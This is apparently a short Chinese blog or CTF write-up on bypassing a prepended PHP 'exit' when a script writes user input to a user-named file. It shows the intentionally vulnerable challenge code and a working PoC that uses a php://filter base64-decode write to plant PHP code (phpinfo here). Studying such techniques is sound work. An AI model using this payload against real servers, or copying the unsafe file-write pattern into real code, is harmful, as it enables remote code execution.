关于php的exit函数的绕过问题

时间:2024-03-19 10:04:51
<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

例如这个代码不管怎么样你的$c 最开始都有exit 来结束代码
所以后面不管加什么都会直接结束
而最后include(‘tmp.php’) 说明我们需要代码执行或者系统命令执行我们才可以拿到shell
所以我们需要绕过这个exit这个函数

这里我们可以利用php伪协议进行绕过
php://filter/write=convert.base64-decode
因为<?php exit;?>中"<、?、;、>"等符号base64解码时都会被忽略,所以经过base64解码之后变成’phpexit’ 但是这里面只有7个字节 base64 是4个一组解码 所以我们还需要任意添加一个字符如’a’

那么我们构造的poc如下:
c=aPD9waHAgcGhwaW5mbygpOz8+&file=php://filter/write=convert.base64-decode/resource=t.php
关于php的exit函数的绕过问题